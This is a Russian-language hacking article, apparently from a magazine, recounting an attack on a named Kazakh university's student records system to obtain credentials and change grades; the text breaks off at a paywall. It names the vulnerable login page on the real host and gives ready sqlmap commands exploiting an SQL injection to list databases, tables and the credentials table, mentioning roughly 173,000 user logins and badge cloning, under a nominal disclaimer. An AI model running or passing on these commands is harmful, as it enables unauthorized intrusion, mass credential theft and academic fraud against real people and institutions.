Привет, %username%! Моя статья расскажет тебе, как окончить университет с крутыми оценками без регистрации и отправки СМС, не посещая занятия. Во многих университетах используются автоматизированные информационные системы (АИС), которые содержат информацию об отметках обучающихся, результаты экзаменов, историю посещений занятий и прочие конфиденциальные данные. В моем вузе все ведомости распечатывали напрямую из веб-интерфейса университетской АИС.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Цель номер раз

Первым в нашем списке будет Евразийский национальный университет им. Л. Н. Гумилева.

Начнем с информационной разведки и посмотрим, что известно об университетском сайте и использующейся АИС. Вуз работает с АИС Platonus. Однако форма авторизации не имеет очевидных уязвимостей, а для полного аудита необходима учетная запись студента (о том, как ее получить, я расскажу ниже), которой у нас по дефолту нет (свою учетную запись не будем использовать, чтобы не наследить в логах). Пришла мысль просканировать основной сайт на наличие субдоменов. Для этого прибегнем к помощи сервиса pentest-tools.com.

Изучаем количество доменов
Изучаем количество доменов

Просмотрев сайты, расположенные на субдоменах, обнаруживаем, что субдомен http://service.enu.kz/ имеет форму авторизации, которая использует логины и пароли от АИС Platonus.

Сайт сервиса
Сайт сервиса
 

Поиск уязвимостей

Приступаем к предварительному осмотру сайта (веб-приложения), находящегося на данном субдомене. Первым делом, как истинные скрипткиддисы, бежим осматривать input-формы на наличие фильтрации и возможных уязвимостей.

И сразу обнаруживаем, что по адресу https://service.enu.kz/portal/page_dictonary.php форма поиска позволяет произвести DOM SELF XSS атаку. Однако XSS — это не круто, особенно если это SELF.

Выявляем XSS-уязвимость
Выявляем XSS-уязвимость

Наиболее результативной находкой оказалась SQLi, найденная в экшн-скрипте auth.php.

Форма авторизации
Форма авторизации

Достаточно было ввести в форму логина по адресу https://service.enu.kz/portal/page_login.php стандартную кавычку (1234'), чтобы вызвать ошибку в SQL-запросе.

SQL-ошибка
SQL-ошибка
 

Раскручиваем инъекцию

Для того чтобы облегчить себе задачу и не раскручивать инъекцию вручную, прибегнем к любимому многими инструменту — sqlmap.py, который сделает за нас всю черную работу.

Карта SQL-запросов
Карта SQL-запросов

Следующая команда позволит нам вытянуть список доступных баз данных:

sqlmap.py –u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 --dbs.

А вот и результат ее выполнения.

Список доступных баз данных
Список доступных баз данных

Кстати, база skd — это база системы контроля доступа, по ней можно было узнать, в какое время человек входил в университет и когда выходил, или, используя энкодер, сделать копию его пропуска на обычную болванку. Прикольно, но нам надо немного другое…

Попробуем посмотреть таблицы в базе данных под названием service. Для этого вызываем sqlmap со следующими параметрами:

sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 -D service --tables

И получаем в ответ список таблиц.

Список доступных таблиц из базы service
Список доступных таблиц из базы service

Особое внимание привлекает таблица auth: что-то подсказывает, что там можно найти данные, связанные с авторизацией. Заряжаем sqlmap на вытаскивание информации об этой таблице:

sqlmap.py -u "http://service.enu.kz/portal/auth.php" --data="btn_enter=1&login=1234&password=1234&role=ienu&secfield=0" -p "role" --level=5 --risk=2 -D service -T auth --columns

Ага, судя по названию колонок, здесь действительно хранятся логины и пароли.

Структура таблицы auth
Структура таблицы auth

Остается только их выудить. Следующая команда в итоге выдаст нам около 173 тысяч данных об авторизации пользователей:

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


5 комментариев

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…